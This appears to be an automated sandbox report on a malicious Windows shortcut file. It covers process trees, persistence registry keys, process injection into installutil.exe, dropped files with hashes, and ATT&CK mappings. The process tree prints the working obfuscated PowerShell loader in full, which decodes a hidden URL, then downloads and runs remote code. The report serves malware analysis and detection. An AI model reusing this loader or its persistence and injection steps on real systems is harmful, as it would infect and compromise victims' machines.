c354367b524d7b0573f3bdf351d78b0128a62567f4ac8aaee9cef6970e94b181

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
photov_763028390865.lnk
Size 1KB
Sample260727-pgwt7astbx
SHA256 c354367b524d7b0573f3bdf351d78b0128a62567f4ac8aaee9cef6970e94b181
MD5 f4ddd4ee674d09ed08e7d1d7289c0192
SHA1 4e4e2834e64cbc843baeb406ed58d3be0f971d32
SHA512 161e2525cc00e4ca958c529928a562b31283f19e76291d55fa961dc5862e3c30f06baa22ffecde6d5cc92118040daa5d58fc0a6025f097852f1df07aeb7c0c3b
TLSH
T12C41A6A86F890029FDB3E537D5EE2197F821D6247126EC0E449B010DDCB3B456D43A2E
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2384	powershell.exe
7	2384	powershell.exe
8	2384	powershell.exe
10	2384	powershell.exe
11	2384	powershell.exe
12	2384	powershell.exe
13	2384	powershell.exe
14	2384	powershell.exe
17	2384	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
3908	git.exe
1492	DCRCVDrv.sys
6032	git.exe
3084	git.exe

Loads dropped DLL 22 IoCs

pid	Process
3908	git.exe
3908	git.exe
3908	git.exe
3908	git.exe
3908	git.exe
3908	git.exe
3908	git.exe
3908	git.exe
6032	git.exe
6032	git.exe
6032	git.exe
6032	git.exe
6032	git.exe
6032	git.exe
6032	git.exe
3084	git.exe
3084	git.exe
3084	git.exe
3084	git.exe
3084	git.exe
3084	git.exe
3084	git.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Windows\CurrentVersion\Run\kqa_pssz_us_csq_wdu = "\"C:\\Users\\Admin\\AppData\\Local\\vafg9_bod_upd_znu\\git.exe\""	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GitWinx86 = "cmd /c start \"\" /D \"C:\\ProgramData\\GitWinx86\" \"C:\\ProgramData\\GitWinx86\\git.exe\""	git.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GitWinx86 = "cmd /c start \"\" /D \"C:\\ProgramData\\GitWinx86\" \"C:\\ProgramData\\GitWinx86\\git.exe\""	git.exe

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ifconfig.me
1	api.ipify.org
8	ifconfig.me
13	api.ipify.org

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3908 set thread context of 5760	3908	git.exe	102
PID 6032 set thread context of 3176	6032	git.exe	103
PID 3084 set thread context of 6804	3084	git.exe	105

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4932	cmd.exe
3920	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2384	powershell.exe
2384	powershell.exe
3176	installutil.exe
3176	installutil.exe
3176	installutil.exe
3176	installutil.exe
5760	installutil.exe
5760	installutil.exe
5760	installutil.exe
5760	installutil.exe
6804	installutil.exe
6804	installutil.exe
6804	installutil.exe
6804	installutil.exe
3176	installutil.exe
3176	installutil.exe
3176	installutil.exe
3176	installutil.exe
5760	installutil.exe
5760	installutil.exe
5760	installutil.exe
5760	installutil.exe
6804	installutil.exe
6804	installutil.exe
6804	installutil.exe
6804	installutil.exe
3176	installutil.exe
3176	installutil.exe
3176	installutil.exe
3176	installutil.exe
5760	installutil.exe
5760	installutil.exe
5760	installutil.exe
5760	installutil.exe
6804	installutil.exe
6804	installutil.exe
6804	installutil.exe
6804	installutil.exe
3176	installutil.exe
3176	installutil.exe
3176	installutil.exe
3176	installutil.exe
5760	installutil.exe
5760	installutil.exe
5760	installutil.exe
5760	installutil.exe
6804	installutil.exe
6804	installutil.exe
6804	installutil.exe
6804	installutil.exe
3176	installutil.exe
3176	installutil.exe
3176	installutil.exe
3176	installutil.exe
5760	installutil.exe
5760	installutil.exe
5760	installutil.exe
5760	installutil.exe
6804	installutil.exe
6804	installutil.exe
6804	installutil.exe
6804	installutil.exe
3176	installutil.exe
3176	installutil.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeIncreaseQuotaPrivilege	2384	powershell.exe
Token: SeSecurityPrivilege	2384	powershell.exe
Token: SeTakeOwnershipPrivilege	2384	powershell.exe
Token: SeLoadDriverPrivilege	2384	powershell.exe
Token: SeSystemProfilePrivilege	2384	powershell.exe
Token: SeSystemtimePrivilege	2384	powershell.exe
Token: SeProfSingleProcessPrivilege	2384	powershell.exe
Token: SeIncBasePriorityPrivilege	2384	powershell.exe
Token: SeCreatePagefilePrivilege	2384	powershell.exe
Token: SeBackupPrivilege	2384	powershell.exe
Token: SeRestorePrivilege	2384	powershell.exe
Token: SeShutdownPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeSystemEnvironmentPrivilege	2384	powershell.exe
Token: SeRemoteShutdownPrivilege	2384	powershell.exe
Token: SeUndockPrivilege	2384	powershell.exe
Token: SeManageVolumePrivilege	2384	powershell.exe
Token: 33	2384	powershell.exe
Token: 34	2384	powershell.exe
Token: 35	2384	powershell.exe
Token: 36	2384	powershell.exe
Token: SeDebugPrivilege	5760	installutil.exe
Token: SeDebugPrivilege	3176	installutil.exe
Token: SeDebugPrivilege	6804	installutil.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4932 wrote to memory of 3920	4932	cmd.exe	90
PID 3920 wrote to memory of 2384	3920	cmd.exe	91
PID 2384 wrote to memory of 6032	2384	powershell.exe	98
PID 1896 wrote to memory of 3084	1896	cmd.exe	100
PID 3908 wrote to memory of 5760	3908	git.exe	102
PID 3908 wrote to memory of 5760	3908	git.exe	102
PID 3908 wrote to memory of 5760	3908	git.exe	102
PID 3908 wrote to memory of 5760	3908	git.exe	102
PID 3908 wrote to memory of 5760	3908	git.exe	102
PID 6032 wrote to memory of 3176	6032	git.exe	103
PID 6032 wrote to memory of 3176	6032	git.exe	103
PID 6032 wrote to memory of 3176	6032	git.exe	103
PID 6032 wrote to memory of 3176	6032	git.exe	103
PID 6032 wrote to memory of 3176	6032	git.exe	103
PID 3084 wrote to memory of 6804	3084	git.exe	105
PID 3084 wrote to memory of 6804	3084	git.exe	105
PID 3084 wrote to memory of 6804	3084	git.exe	105
PID 3084 wrote to memory of 6804	3084	git.exe	105
PID 3084 wrote to memory of 6804	3084	git.exe	105

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\photov_763028390865.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4932
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -c "$g6mw=4;$y2p6=42;$b51gj5kbd=[bigint]::Parse('29547279207596845284766162878554189577538910063435');$aetg152he=[bigint]::Parse('29547269255904444577700840870329766760983104989138');$b51gj5kbd=$b51gj5kbd-$aetg152he;$x9s9twct9=@();while($b51gj5kbd -gt 0){$x9s9twct9+=[char][int]([bigint]::Remainder($b51gj5kbd,256));$b51gj5kbd=[bigint]::Divide($b51gj5kbd,256)};.([scriptblock]::Create((irm(-join$x9s9twct9))))"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "$g6mw=4;$y2p6=42;$b51gj5kbd=[bigint]::Parse('29547279207596845284766162878554189577538910063435');$aetg152he=[bigint]::Parse('29547269255904444577700840870329766760983104989138');$b51gj5kbd=$b51gj5kbd-$aetg152he;$x9s9twct9=@();while($b51gj5kbd -gt 0){$x9s9twct9+=[char][int]([bigint]::Remainder($b51gj5kbd,256));$b51gj5kbd=[bigint]::Divide($b51gj5kbd,256)};.([scriptblock]::Create((irm(-join$x9s9twct9))))"
    3⤵
    - Badlisted process makes network request
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\git.exe
      "C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\git.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:6032
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3176

C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\git.exe
"C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\git.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3908
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5760

C:\Windows\system32\cmd.exe
"cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
1⤵
- Suspicious use of WriteProcessMemory
PID:1896
- C:\ProgramData\GitWinx86\git.exe
  "C:\ProgramData\GitWinx86\git.exe""
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3084
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6804

C:\Windows\Temp\DCRCVDrv.sys
C:\Windows\Temp\DCRCVDrv.sys
1⤵
- Executes dropped EXE
PID:1492

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

vsqb_ywexzgj_oh_ptnjad_.zip

Path C:\Users\Admin\AppData\Local\Temp\vsqb_ywexzgj_oh_ptnjad_.zip
Size 5.6MB
SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
MD5 c3cec70c65f28d3ecfd075af7ed0cdc0
SHA1 8a34ab30c6c4cc2c0e58c5765a78816628c81ce9
SHA512 1c7c623e0110d2d70212f654b69602b7434e87b15fc4a5296c58cebb2a4ecdda924cea0138d8024789349473594a629ad33d1b5e558bcd667c80c540fcb99b7f
SSDEEP 98304:vK0aBfy4p26C5DEWiKQdjl6zFqRuSh9csTNw4bY6mSU6oIBYTb1Zu4z5zLh3ruJr:YjbCxETKQd3RDh9jTu40FTTbXugbud
TLSH
T17A563342C478C5A8F195F87EAD6E94A8FA592101EC671FBF1F2502600C9F8C9F729678
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\VCRUNTIME140.dll
Size 120KB
SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
MD5 0d35c5e99871b4f02c490b9fd9dace34
SHA1 c2280e6285147cd8010becc0cd3a120fca0088e0
SHA512 114bc156655e0d3249b6f94af1da80528b6695630f548ab596dfb406f6ffcc65276c9f900b637ba9c244ba5a4331aa15d2de0672f6dcbd38cb49a206c100698b
SSDEEP 1536:a9pCUgtBAVcxStMXcfG8VwfmpcGLOI5Sv+vecbeQ6N7l9gEeza/yLzt:qyA+3EOfmpcGSdOecbeQ6Nx9Mqsp
TLSH
T1B9C37B4272B802FBC16BD274C292AE27FBB6B50687605BDF07AA86650F537D06D3C341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\VCRUNTIME140_1.dll
Size 46KB
SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
MD5 03b43160d21c08de07a79d0a1c5ee81d
SHA1 0a449093006af667432b83303614b53b62fc0d05
SHA512 8b835205bf037b78144f0a4a78618a4e74ba087ac9916c83cb25aff266ddcf5c1b859a6e7c6fec2b57ffeee94fa2f52dd7f6e98c387a4ea7a3143fef6a9570b0
SSDEEP 768:BezSkbhNfI4fWLZyS/dPWxngU907N9z7RV80X9z+:2YZyuPWxn3Ivz7bDz+
TLSH
T1FC237E9293BC4086E89B8970C1DBDE57BD38B7D2576093CB1BA5E54C1E537C0E63832A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

git.exe

Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\git.exe
Size 4.2MB
SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
MD5 6ff84a2fb05d06f456578f5afa902945
SHA1 f60f869462fb6ef384f193e0e0b74e28d2aefbc6
SHA512 352428d1cb49ba194a076cb924435c2e941958c35e25d25e05de64bcf53f9d5c8712b389025c97997b968e03421c5c2aefc5dbd1b28b674d7a805bed5b696790
SSDEEP 49152:sQ/JXZZnKYimQ8SN0K3Y+kY0k7IOfSl+DBYx4CQ2Avwq8eKSIWLOFo5zOMcdFBmX:zo4IP7xW71dpTmO8lQJClxPPw6
TLSH
T112262907E2A360ECC96BC13996966732BA72F85801347E7F5694CB302F71E50572EF29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libiconv-2.dll

Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\libiconv-2.dll
Size 1.1MB
SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
MD5 987a6b7cd60f6c108550ebfc1771b911
SHA1 10ed03a50b0c5e4dc3acf6374328424474213fdb
SHA512 81a3d038bb4d95800febfa48fa478d4ee65e05abef190a27bd670bd2b154b07359b41964f063bfed5e8d3f5b40fb5666d0072f5f52595d93d5645295470437ce
SSDEEP 24576:SI1BAUZLY3wPKU7VbbTOZGavkg3NyeuQ6l9fH+fxr:F1BAUZLYgiU7IZGaXBuQQ9exr
TLSH
T14435CE62F3D3CB2BF263C6B0C96A5B26E427EC216B0605377664B3BC5D337A414C8566
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libintl-8.dll

Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\libintl-8.dll
Size 291KB
SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
MD5 edf8f1b85f2f01ff0a28a6a31c3e427d
SHA1 ff1bc2ec0a952a27b728f32c0c00c7c066097614
SHA512 41269d7ddc99104e950934e0eff78c306a8a73bdfb34a8535f133b0442001e489ba8a7a6b3d399a26f83982f8c83070afd8393ebb32cfc529549417be279e9ed
SSDEEP 6144:ZqvWcwWaX1Ziu21y+7DE4a0onJMFEdd+TuoJo:0WcOXow+8Wmiwd+TuoJo
TLSH
T1B5541907B247A9D9E153D5308987C7F5B973BC720BA0AAB726A0F33C2E318515B19B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libpcre2-8-0.dll

Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\libpcre2-8-0.dll
Size 701KB
SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
MD5 86f36fe5c094d844ac79cdd58dc6c8dd
SHA1 3484ac473e6a60920b26f6cad06fe0ec3bd34467
SHA512 22303f09216616bf7026d9cc5e8a788076d11107814dc1ec43fe0390116fdea58a5ed11b53652020576d8c6232a2cd524a23b4bb0455df1568763913da21e78e
SSDEEP 12288:c/94uwmMo7Q++CDdewFv4/iIhZ9SsChldffAf/fmjFUW8:c/Cy7BDd94/6sEXI3fmjFUW8
TLSH
T142E4D547F4E321E8CD36C175E7B732B2F53639E91035BDAE16A0C3322E139215A5AA1D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\libwinpthread-1.dll
Size 3.0MB
SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
MD5 9e4d0677fa7e5996bb0558558f8250e0
SHA1 9b8bfbb4cb8bd2ba0e9b0c16957bf54936ee254a
SHA512 0cf88c933e01854fef4a98e0465df08e12b3e6203bf47550b036e4fd28bd367ce8a74136344cad2d89df77a45ef19b0856db7ab326f7e580f77cffb635079d95
SSDEEP 49152:TCKosFyJxIG5oPVWk12JVB6iPQTUrrzAP11xy1rBLcyRGzaFjKWE5wtpFCzro1/G:CmOVnPQTUrrzAP11xy1rBLcyRGzaFjKD
TLSH
T121E5BF55A3D859E9D463DA349710E332C2B279634B75E08B0A9AC70A1F77D924F3FB02
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp140.dll

Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\msvcp140.dll
Size 540KB
SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
MD5 4e3fa9bd90ef020c14359639dc19312b
SHA1 a51032ec39a292afda65b0e3053d4ff3e3241512
SHA512 3e3c62fe860199953cc87e0516b77f6a039f2563cb6b5cc48edc51f243e5ea8fd9b2e3239a089966c403f17a8b3766090bc7b827399cceb00a37bac970855e15
SSDEEP 12288:M0MrE03u1mHWV/I3z+bQEKZm+jWodEEV7X:M0p1F/IiQEKZm+jWodEENX
TLSH
T180C42A23F75906E0E195E3B8A1838702D7F17C5A8322E3C742EB955E2F577D0A63B690
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ucrtbase.dll

Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\ucrtbase.dll
Size 1.3MB
SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
MD5 ef62e9b3d7203f825dbf5dda8d4770c9
SHA1 7f1f99f61082c63a645cea72d41481928b4d19cb
SHA512 cb79d334af2c436cd62d0f4be8ef8f4f89c4590c666125fd26a218426079beadb9da8cc99cdc28fcef6c3574a4941592f85019aa642f71f1e7559f599b75233c
SSDEEP 24576:T9KcgsGAmTfFqSgdDWqNUF3Z7Nkqnjqo3JYj8Jszg8mxvSZX0ypapJDBL:T9KpUmTfFqSgdDPq3DjqI08JXpJD9
TLSH
T15C55AE6176AD01E9C1BFD13DC64B4606E9B2781503708ADB03E94E792E3BBE9177B321
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zlib1.dll

Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\zlib1.dll
Size 125KB
SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
MD5 30a31b969a3356efde11078dc635baa0
SHA1 331b61df1d5378809df58cbcfa292002d4adb06b
SHA512 66fc99ddc77df71ff01516f9b6a594987041f83e75e90fa62c74961c446d82a08ccee0ceafa5eaeb260a328a867a302a168777d69eff34de311b625619a51345
SSDEEP 3072:vGsOJXTFCi6G6Q8Kw3Ee+NFH+LdTGpaAt5kwxlZX7tmoh2NiDSR2F3e:+nSiBJe0FwGRUiOR2F3e
TLSH
T1B1C36B6BF6A364FEC6A7C17082E38BB1F031B81107246CBB9154D7752E20E50671DABD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DCRCVDrv.sys

Path C:\Windows\Temp\DCRCVDrv.sys
Size 137KB
SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
MD5 567c158ee0858f8e941d4ab7a6c18dbc
SHA1 47d922b0fd5d704025d14ef98ded46e74830a423
SHA512 f976cb8e9a2f0fc769e2e4345d18e1e9f01fdb1c4303eb20d94b625467e60ce20dd120e77a96d9ba498361dd6dc0066535404cb22cf99fc49607d1f35eaed2ab
SSDEEP 3072:6pEFTp46B6ETbeP/ItLK9Di8/4BQaeJzP:Y8Tp46B6EOLgBQX
TLSH
T10CD33A12A36550A4E977E2B8C6B65263EFF37861133547CF03608A654F23BE4B93A3D1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1492-96-0x0000000000010000-0x000000000003D000-memory.dmp

Download

memory/2384-21-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-7-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-12-0x000001F02C550000-0x000001F02C712000-memory.dmp

Download

memory/2384-15-0x000001F02C4A0000-0x000001F02C4BE000-memory.dmp

Download

memory/2384-16-0x000001F02C720000-0x000001F02C7D2000-memory.dmp

Download

memory/2384-17-0x000001F02C490000-0x000001F02C49A000-memory.dmp

Download

memory/2384-19-0x000001F02C4F0000-0x000001F02C514000-memory.dmp

Download

memory/2384-18-0x000001F02C4F0000-0x000001F02C51A000-memory.dmp

Download

memory/2384-20-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-0-0x00007FFFF237F000-0x00007FFFF2380000-memory.dmp

Download

memory/2384-22-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-23-0x000001F02CD10000-0x000001F02D238000-memory.dmp

Download

memory/2384-10-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-9-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-8-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-11-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-6-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-5-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-4-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-3-0x000001F02BF90000-0x000001F02BFB2000-memory.dmp

Download

memory/2384-24-0x000001F02C4D0000-0x000001F02C4DA000-memory.dmp

Download

memory/2384-26-0x000001F02C500000-0x000001F02C512000-memory.dmp

Download

memory/2384-30-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-31-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-32-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/2384-126-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

Download

memory/3176-364-0x0000000000550000-0x00000000005C0000-memory.dmp

Download

memory/3908-147-0x00007FF77E750000-0x00007FF77EBBF000-memory.dmp

Download

memory/3908-150-0x00007FFFE8E30000-0x00007FFFE8F4F000-memory.dmp

Download

memory/3908-148-0x00007FF80C880000-0x00007FF80C936000-memory.dmp

Download

memory/3908-151-0x00007FF80C7F0000-0x00007FF80C842000-memory.dmp

Download

memory/3908-149-0x00007FF80C850000-0x00007FF80C876000-memory.dmp

Download

memory/5760-257-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-207-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-159-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-183-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-269-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-154-0x00000000053A0000-0x00000000053BA000-memory.dmp

Download

memory/5760-267-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-263-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-261-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-146-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5760-255-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-253-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-251-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-249-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-247-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-243-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-241-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-239-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-237-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-236-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-231-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-229-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-227-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-225-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-223-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-221-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-220-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-217-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-215-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-213-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-211-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-155-0x00000000054F0000-0x000000000551C000-memory.dmp

Download

memory/5760-205-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-203-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-201-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-199-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-197-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-196-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-191-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-187-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-185-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-181-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-179-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-177-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-175-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-173-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-171-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-170-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-265-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-259-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-245-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-233-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-209-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-163-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-161-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-193-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-189-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-157-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-167-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-165-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-156-0x00000000054F0000-0x0000000005516000-memory.dmp

Download

memory/5760-2041-0x0000000005790000-0x00000000057F6000-memory.dmp

Download

memory/5760-2042-0x00000000065D0000-0x0000000006662000-memory.dmp

Download

memory/5760-2043-0x0000000006C30000-0x00000000071EA000-memory.dmp

Download